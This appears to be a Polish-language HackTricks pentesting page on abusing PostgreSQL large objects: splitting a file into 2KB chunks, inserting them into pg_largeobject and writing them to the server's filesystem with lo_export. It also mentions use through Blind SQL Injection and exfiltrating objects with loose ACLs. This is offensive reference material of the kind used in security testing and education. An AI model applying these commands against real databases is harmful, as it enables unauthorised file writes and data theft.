{{#include ../../../banners/hacktricks-training.md}} ### PostgreSQL Large Objects PostgreSQL oferuje strukturę znaną jako **large objects**, dostępną za pośrednictwem tabeli `pg_largeobject`, zaprojektowaną do przechowywania dużych typów danych, takich jak obrazy czy dokumenty PDF. To podejście jest korzystniejsze niż funkcja `COPY TO`, ponieważ umożliwia **eksport danych z powrotem do systemu plików**, zapewniając dokładną replikę oryginalnego pliku. Aby **przechować pełny plik** w tej tabeli, należy utworzyć obiekt w tabeli `pg_largeobject` (identyfikowany przez LOID), a następnie wstawić fragmenty danych, każde o rozmiarze 2KB, do tego obiektu. Ważne jest, aby te fragmenty miały dokładnie 2KB (z możliwym wyjątkiem ostatniego fragmentu), aby zapewnić prawidłowe działanie funkcji eksportu. Aby **podzielić swoje dane binarne** na fragmenty 2KB, można wykonać następujące polecenia: ```bash split -b 2048 your_file # Creates 2KB sized files ``` Aby zakodować każdy plik w Base64 lub Hex, można użyć poniższych poleceń: ```bash base64 -w 0 # Encodes in Base64 in one line xxd -ps -c 99999999999 # Encodes in Hex in one line ``` **Ważne**: Podczas automatyzacji tego procesu upewnij się, że wysyłasz kawałki o wielkości 2KB czystych bajtów. Pliki zakodowane w formacie hex będą wymagały 4KB danych na kawałek z powodu podwojenia rozmiaru, podczas gdy pliki zakodowane w Base64 stosują wzór `ceil(n / 3) * 4`. Zawartość dużych obiektów można przeglądać w celach debugowania za pomocą: ```sql select loid, pageno, encode(data, 'escape') from pg_largeobject; ``` #### Używanie `lo_creat` i Base64 Aby przechować dane binarne, najpierw tworzony jest LOID: ```sql SELECT lo_creat(-1); -- Creates a new, empty large object SELECT lo_create(173454); -- Attempts to create a large object with a specific OID ``` W sytuacjach wymagających precyzyjnej kontroli, takich jak wykorzystanie Blind SQL Injection, preferowane jest użycie `lo_create` do określenia stałego LOID. Fragmenty danych można następnie wstawiać w następujący sposób: ```sql INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('', 'base64')); INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('', 'base64')); ``` Aby wyeksportować i potencjalnie usunąć duży obiekt po użyciu: ```sql SELECT lo_export(173454, '/tmp/your_file'); SELECT lo_unlink(173454); -- Deletes the specified large object ``` #### Używanie `lo_import` i Hex Funkcja `lo_import` może być używana do tworzenia i określania LOID dla dużego obiektu: ```sql select lo_import('/path/to/file'); select lo_import('/path/to/file', 173454); ``` Po utworzeniu obiektu dane są wstawiane na stronę, zapewniając, że każdy kawałek nie przekracza 2KB: ```sql update pg_largeobject set data=decode('', 'hex') where loid=173454 and pageno=0; update pg_largeobject set data=decode('', 'hex') where loid=173454 and pageno=1; ``` Aby zakończyć proces, dane są eksportowane, a duży obiekt jest usuwany: ```sql select lo_export(173454, '/path/to/your_file'); select lo_unlink(173454); -- Deletes the specified large object ``` ### Ograniczenia Zauważono, że **duże obiekty mogą mieć ACL** (Listy Kontroli Dostępu), co może ograniczać dostęp nawet do obiektów stworzonych przez twojego użytkownika. Jednak starsze obiekty z liberalnymi ACL mogą być nadal dostępne do eksfiltracji treści. {{#include ../../../banners/hacktricks-training.md}}